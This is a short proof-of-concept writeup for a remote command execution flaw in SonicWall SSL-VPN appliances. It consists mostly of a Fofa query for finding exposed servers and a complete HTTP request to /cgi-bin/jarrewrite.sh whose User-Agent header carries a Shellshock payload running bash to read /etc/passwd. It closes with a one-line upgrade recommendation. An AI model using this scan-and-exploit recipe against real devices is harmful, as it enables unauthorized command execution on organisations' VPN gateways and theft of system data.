SonicWall-SSL-VPN-RCE

SonicWall-SSL-VPN-RCE

Fofa

server=="SonicWALL SSL-VPN Web Server"

POC

GET /cgi-bin/jarrewrite.sh HTTP/1.1
Host: 103.x.x.x:4433
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; echo ; /bin/bash -c 'cat /etc/passwd'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://103.x.x.x.x:4433/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: AOPortal_103.x.x.x=false; SessURL=https%3A%2F%2F103.x.x.x%3A4433%2Fcgi-bin%2Fwelcome

java的gui版：

修复建议

升级到Sonic SMA 8.0.0.4